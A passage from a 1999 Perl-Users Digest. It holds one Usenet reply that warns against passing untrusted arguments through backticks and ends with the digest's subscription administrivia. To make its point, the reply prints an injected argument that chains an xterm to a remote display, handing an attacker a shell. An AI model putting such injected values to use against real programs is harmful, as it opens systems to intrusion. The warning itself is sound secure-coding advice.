> Hmm...maybe I'm missing something, but why don't you just use:
> 
> $output=`myprog @arg`;

You are missing somthing indeed -- if @arg comes from J. Random user, it
can't be trusted.  Backticks go through the default shell, so if a user
passes in, say, "donothing;export DISPLAY=mybox.com:0;xterm &", they get a
nice shell.  Fulko, try using taint-mode (add a T to the -w in your
#!/usr/bin/perl line.  You are using -w, aren't you?)  I think this will do
what you want:
open(OOF,"-|") or exec 'myprog' @arg;  (from the camel book, p257, BTW)
Of cource, you should make shure that @arg is safe first.

	-=- James Mastros


------------------------------

Date: 1 Jul 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 1 Jul 99)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.

The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V9 Issue 44
************************************


home help back first fref pref prev next nref lref last post